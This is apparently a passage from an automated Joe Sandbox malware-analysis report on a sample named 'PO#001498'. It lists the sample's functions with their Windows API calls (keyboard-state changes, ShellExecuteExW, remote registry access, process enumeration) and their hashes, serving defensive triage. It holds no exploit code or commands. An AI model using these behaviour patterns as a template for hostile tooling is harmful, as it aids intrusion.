                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: MessagePost$KeyboardState$Parent
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 87235514-0
                                                                                                                                                                                • Opcode ID: d47ceab968b999e6d4944081d81f2373d9ea27f049f07d95c13b51a59d3cc885
                                                                                                                                                                                • Instruction ID: 19c159416ad4887e81d4090d30fbb5c505c675cee05c330e2fd8e115592bd25d
                                                                                                                                                                                • Opcode Fuzzy Hash: d47ceab968b999e6d4944081d81f2373d9ea27f049f07d95c13b51a59d3cc885
                                                                                                                                                                                • Instruction Fuzzy Hash: B651C5A05487D139F7369234884ABA7BFD55F8A304F08CA4EF1E5156C3D2ECE984C769
                                                                                                                                                                                Function 00444B65 Relevance: 10.7, APIs: 7, Instructions: 164windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetParent.USER32(?), ref: 00444BA9
                                                                                                                                                                                • GetKeyboardState.USER32(?), ref: 00444BBC
                                                                                                                                                                                • SetKeyboardState.USER32(?), ref: 00444C08
                                                                                                                                                                                • PostMessageW.USER32(?,00000100,00000010,?), ref: 00444C35
                                                                                                                                                                                • PostMessageW.USER32(?,00000100,00000011,?), ref: 00444C53
                                                                                                                                                                                • PostMessageW.USER32(?,00000100,00000012,?), ref: 00444C9C
                                                                                                                                                                                • PostMessageW.USER32(?,00000100,0000005B,?), ref: 00444CBE
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: MessagePost$KeyboardState$Parent
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 87235514-0
                                                                                                                                                                                • Opcode ID: de9aba9e896a2e755c79cba499ec14fd455f1b60db9a9f79a8626ad1a28ad6a0
                                                                                                                                                                                • Instruction ID: 4493abccadab05ae7d00f733e1fa63583af0c494729619d74f1516a50adc8d80
                                                                                                                                                                                • Opcode Fuzzy Hash: de9aba9e896a2e755c79cba499ec14fd455f1b60db9a9f79a8626ad1a28ad6a0
                                                                                                                                                                                • Instruction Fuzzy Hash: A951E4F05097D139F7369364884ABA7BFE46F8A304F088A4EF1D5065C2D2ACE984C769
                                                                                                                                                                                Function 004498BD Relevance: 10.7, APIs: 7, Instructions: 159COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID:
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID:
                                                                                                                                                                                • Opcode ID: 2552f041a71837ba3affbc4ec308d2b7aa0755a9e2dfe05148a880b05b5b76bf
                                                                                                                                                                                • Instruction ID: b3b3da583a0ae8cfa3180eda0e634cae40a493ebdfd517dbec9d2fd4fbd82cb1
                                                                                                                                                                                • Opcode Fuzzy Hash: 2552f041a71837ba3affbc4ec308d2b7aa0755a9e2dfe05148a880b05b5b76bf
                                                                                                                                                                                • Instruction Fuzzy Hash: 1E513A315082909FE321CF14DC89FABBB64FB46320F18456FF895AB2D1D7649C06D7AA
                                                                                                                                                                                Function 0046A98D Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 158registryCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                                • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046AA77
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: ConnectRegistry_wcslen
                                                                                                                                                                                • String ID: HH
                                                                                                                                                                                • API String ID: 535477410-2761332787
                                                                                                                                                                                • Opcode ID: a31a44ff546351b1de52d8f34745bf25342c9426a619c9766caf2b0061db1f75
                                                                                                                                                                                • Instruction ID: 7b41397762752e7dec08e47bcdb2cb2f58790b6f4670524580eb9da3090621e6
                                                                                                                                                                                • Opcode Fuzzy Hash: a31a44ff546351b1de52d8f34745bf25342c9426a619c9766caf2b0061db1f75
                                                                                                                                                                                • Instruction Fuzzy Hash: A2516D71208301AFD304EF65C981F5BB7A9BFC4704F40892EF685A7291D678E905CB6B
                                                                                                                                                                                Function 00457C08 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 158COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • _memset.LIBCMT ref: 00457C34
                                                                                                                                                                                • _memset.LIBCMT ref: 00457CE8
                                                                                                                                                                                • ShellExecuteExW.SHELL32(?), ref: 00457D34
                                                                                                                                                                                  • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                                                                                                  • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                                                                                                • CloseHandle.KERNEL32(?), ref: 00457DDD
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: _memset$CloseExecuteHandleShell_wcscpy_wcslen
                                                                                                                                                                                • String ID: <$@
                                                                                                                                                                                • API String ID: 1325244542-1426351568
                                                                                                                                                                                • Opcode ID: 669f3797eafbd6ea24f738bceaf78c3ad3f6bdf3b3f8ec2a74c9f7251b65f49f
                                                                                                                                                                                • Instruction ID: 09e461bdfc47c8bdd671eddb31188d347eda7c51057725e13e77015b5001baed
                                                                                                                                                                                • Opcode Fuzzy Hash: 669f3797eafbd6ea24f738bceaf78c3ad3f6bdf3b3f8ec2a74c9f7251b65f49f
                                                                                                                                                                                • Instruction Fuzzy Hash: EA510FB55083009FC710EF61D985A5BB7E4AF84709F00492EFD44AB392DB39ED48CB9A
                                                                                                                                                                                Function 0047375F Relevance: 10.6, APIs: 7, Instructions: 150processCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • CreateToolhelp32Snapshot.KERNEL32(?,?,?,?,?,?,?,?,?,00000002,00000000,00000014), ref: 0047379B
                                                                                                                                                                                • Process32FirstW.KERNEL32(00000000,?), ref: 004737A8
                                                                                                                                                                                • __wsplitpath.LIBCMT ref: 004737E1
                                                                                                                                                                                  • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                                                                                                                                                                                • _wcscat.LIBCMT ref: 004737F6
                                                                                                                                                                                • __wcsicoll.LIBCMT ref: 00473818
                                                                                                                                                                                • Process32NextW.KERNEL32(00000000,?), ref: 00473844
                                                                                                                                                                                • CloseHandle.KERNEL32(00000000,00000000,?,?), ref: 00473852
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wcsicoll__wsplitpath__wsplitpath_helper_wcscat
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 2547909840-0
                                                                                                                                                                                • Opcode ID: 1dcf289f501924a5df592eae16a0ec0030d5246948486ec38c60cdc62178aa5b
                                                                                                                                                                                • Instruction ID: 8efa427203ffd7a45d167e3a64f6abf3f3640219bb0751621114887cb14f0fc1
                                                                                                                                                                                • Opcode Fuzzy Hash: 1dcf289f501924a5df592eae16a0ec0030d5246948486ec38c60cdc62178aa5b
                                                                                                                                                                                • Instruction Fuzzy Hash: 4751BB71544304A7D720EF61CC86FDBB3E8AF84748F00492EF58957182E775E645C7AA
                                                                                                                                                                                Function 00455297 Relevance: 10.6, APIs: 7, Instructions: 149windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • SendMessageW.USER32(?,00001308,?,00000000), ref: 004552B7
                                                                                                                                                                                • ImageList_Remove.COMCTL32(?,?,?,?), ref: 004552EB
                                                                                                                                                                                • SendMessageW.USER32(?,0000133D,?,00000002), ref: 004553D3
                                                                                                                                                                                • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                                                • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                                                • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                                                • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: DeleteDestroyMessageObjectSend$IconImageList_RemoveWindow
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 2354583917-0
                                                                                                                                                                                • Opcode ID: b44580b005306b3b7f9b1dbab51831616e075f248f5ed84087b7c105bb41b1f9
                                                                                                                                                                                • Instruction ID: 19c5dc8500d05a42ca126c51664c70dafe1d1a8ca3b523478e8997b137d6e309
                                                                                                                                                                                • Opcode Fuzzy Hash: b44580b005306b3b7f9b1dbab51831616e075f248f5ed84087b7c105bb41b1f9
                                                                                                                                                                                • Instruction Fuzzy Hash: 77519D30204A419FC714DF24C4A4B7A77E5FB49301F4486AEFD9ACB392DB78A849CB54
                                                                                                                                                                                Function 0047762A Relevance: 10.6, APIs: 7, Instructions: 140windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 0046DD22: IsWindow.USER32(00000000), ref: 0046DD51
                                                                                                                                                                                • GetMenu.USER32 ref: 004776AA
                                                                                                                                                                                • GetMenuItemCount.USER32(00000000), ref: 004776CC
                                                                                                                                                                                • GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 004776FB
                                                                                                                                                                                • _wcslen.LIBCMT ref: 0047771A
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Menu$CountItemStringWindow_wcslen
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1823500076-0
                                                                                                                                                                                • Opcode ID: 3c1e0179b5075f45df12b398ec391808b8d2f1e7a16a5d1bec5683dd9427006f
                                                                                                                                                                                • Instruction ID: 4b9e656becebfc5f52f27a1d7ad2c07a58398098864d75d3a5ce1c02cc274359
                                                                                                                                                                                • Opcode Fuzzy Hash: 3c1e0179b5075f45df12b398ec391808b8d2f1e7a16a5d1bec5683dd9427006f
                                                                                                                                                                                • Instruction Fuzzy Hash: 174117715083019FD320EF25CC45BABB3E8BF88314F10492EF55997252D7B8E9458BA9
                                                                                                                                                                                Function 00448877 Relevance: 10.6, APIs: 7, Instructions: 130windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 0044890A
                                                                                                                                                                                • SendMessageW.USER32(?,00000469,?,00000000), ref: 00448920
                                                                                                                                                                                • EnableWindow.USER32(004A83D8,00000000), ref: 00448BAB
                                                                                                                                                                                • EnableWindow.USER32(004A83D8,00000001), ref: 00448BC1
                                                                                                                                                                                • ShowWindow.USER32(004A83D8,00000000,004A83D8,?,?), ref: 00448C37
                                                                                                                                                                                • ShowWindow.USER32(004A83D8,00000004,004A83D8), ref: 00448C43
                                                                                                                                                                                • EnableWindow.USER32(004A83D8,00000001), ref: 00448C58
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Window$Enable$Show$MessageMoveSend
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 896007046-0
                                                                                                                                                                                • Opcode ID: 440e8810410bf42a4c8e03fd117b8fd843bde7e89b0e2674ab81ad81c9f8ea0f
                                                                                                                                                                                • Instruction ID: 0809a8548e22334437b8974569d6adfa08582830463fbdb99c3481629354d751
                                                                                                                                                                                • Opcode Fuzzy Hash: 440e8810410bf42a4c8e03fd117b8fd843bde7e89b0e2674ab81ad81c9f8ea0f
                                                                                                                                                                                • Instruction Fuzzy Hash: 63419E746043419FF7248B24C884B6FB7A1FB99305F18886EF98197391DA78A845CB59
                                                                                                                                                                                Function 004413F0 Relevance: 10.6, APIs: 7, Instructions: 114windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 0044140E
                                                                                                                                                                                • GetWindowLongW.USER32(?,000000F0), ref: 00441452
                                                                                                                                                                                • GetWindowLongW.USER32(?,000000F0), ref: 00441493
                                                                                                                                                                                • SendMessageW.USER32(03021BC0,000000F1,00000000,00000000), ref: 004414C6
                                                                                                                                                                                • SendMessageW.USER32(03021BC0,000000F1,00000001,00000000), ref: 004414F1
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: MessageSend$LongWindow
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 312131281-0
                                                                                                                                                                                • Opcode ID: ed470013e842d905752aa6f8daaa5f1d8e955df317e7b96a507e5c494099af20
                                                                                                                                                                                • Instruction ID: f6a862a32ccfd92e4f153a1965fa7dc80102ffdb8abe4b8a046001f82176c48d
                                                                                                                                                                                • Opcode Fuzzy Hash: ed470013e842d905752aa6f8daaa5f1d8e955df317e7b96a507e5c494099af20
                                                                                                                                                                                • Instruction Fuzzy Hash: 2F416A347442019FE720CF58DCC4F6A77A5FB8A754F24416AE5519B3B1CB75AC82CB48
                                                                                                                                                                                Function 0044849C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 106windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • _memset.LIBCMT ref: 004484C4
                                                                                                                                                                                • GetMenuItemInfoW.USER32(?,?,00000000,004A83D8), ref: 00448562
                                                                                                                                                                                • IsMenu.USER32(?), ref: 0044857B
                                                                                                                                                                                • InsertMenuItemW.USER32(?,?,00000001,004A83D8), ref: 004485D0
                                                                                                                                                                                • DrawMenuBar.USER32 ref: 004485E4
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Menu$Item$DrawInfoInsert_memset
                                                                                                                                                                                • String ID: 0
                                                                                                                                                                                • API String ID: 3866635326-4108050209
                                                                                                                                                                                • Opcode ID: 42a201a1e731261e29c9ff9b40de176b55a78da0b06957c9f64dc5096dc7767a
                                                                                                                                                                                • Instruction ID: c1b4c65bd9dbf201e14e83578cc8030a3c247867dd5f1e451e409e2153a24926
                                                                                                                                                                                • Opcode Fuzzy Hash: 42a201a1e731261e29c9ff9b40de176b55a78da0b06957c9f64dc5096dc7767a
                                                                                                                                                                                • Instruction Fuzzy Hash: 9F417F75604341AFE710CF45C984B6BB7E4FB89304F14881EFA554B391DBB4E849CB5A
                                                                                                                                                                                Function 0047244D Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 104sleepCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • InterlockedIncrement.KERNEL32 ref: 0047247C
                                                                                                                                                                                • InterlockedDecrement.KERNEL32(004A7CAC), ref: 00472491
                                                                                                                                                                                • Sleep.KERNEL32(0000000A), ref: 00472499
                                                                                                                                                                                • InterlockedIncrement.KERNEL32(004A7CAC), ref: 004724A4
                                                                                                                                                                                • InterlockedDecrement.KERNEL32(004A7CAC), ref: 00472599
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Interlocked$DecrementIncrement$Sleep
                                                                                                                                                                                • String ID: 0vH
                                                                                                                                                                                • API String ID: 327565842-3662162768
                                                                                                                                                                                • Opcode ID: bfb173672284e31ba0a3017bb0c7d670cf276827bd066f711b3c3b49063f60eb
                                                                                                                                                                                • Instruction ID: 7246262c18bb701d5349304b0e2d21290bf7c9637501dd5a114e6955e8e78370
                                                                                                                                                                                • Opcode Fuzzy Hash: bfb173672284e31ba0a3017bb0c7d670cf276827bd066f711b3c3b49063f60eb
                                                                                                                                                                                • Instruction Fuzzy Hash: 9631D2329082259BD710DF28DD41A8A77A5EB95324F05483EFD08FB251DB78EC498BED
                                                                                                                                                                                Function 00448AFF Relevance: 10.6, APIs: 7, Instructions: 98windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • SendMessageW.USER32(?,00000401,?,00000000), ref: 00448B16
                                                                                                                                                                                • GetFocus.USER32 ref: 00448B1C
                                                                                                                                                                                • EnableWindow.USER32(004A83D8,00000000), ref: 00448BAB
                                                                                                                                                                                • EnableWindow.USER32(004A83D8,00000001), ref: 00448BC1
                                                                                                                                                                                • ShowWindow.USER32(004A83D8,00000000,004A83D8,?,?), ref: 00448C37
                                                                                                                                                                                • ShowWindow.USER32(004A83D8,00000004,004A83D8), ref: 00448C43
                                                                                                                                                                                • EnableWindow.USER32(004A83D8,00000001), ref: 00448C58
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Window$Enable$Show$FocusMessageSend
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 3429747543-0
                                                                                                                                                                                • Opcode ID: f5aca3f6d68f8169105ace43209457086b036621b25274999c7621d4cb9b91fc
                                                                                                                                                                                • Instruction ID: 96ed947056310062a3fa6d2350adc65d304252fdbf70c479ab88671ed4e09c2c
                                                                                                                                                                                • Opcode Fuzzy Hash: f5aca3f6d68f8169105ace43209457086b036621b25274999c7621d4cb9b91fc
                                                                                                                                                                                • Instruction Fuzzy Hash: FC31B4706443819BF7248E14C8C4BAFB7D0EB95745F04492EF981A6291DBA89845C719
                                                                                                                                                                                Function 00401BE0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 90windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • LoadStringW.USER32(?,00000065,?,0000007F), ref: 0042A9B0
                                                                                                                                                                                  • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                                • _memset.LIBCMT ref: 00401C62
                                                                                                                                                                                • _wcsncpy.LIBCMT ref: 00401CA1
                                                                                                                                                                                • _wcscpy.LIBCMT ref: 00401CBD
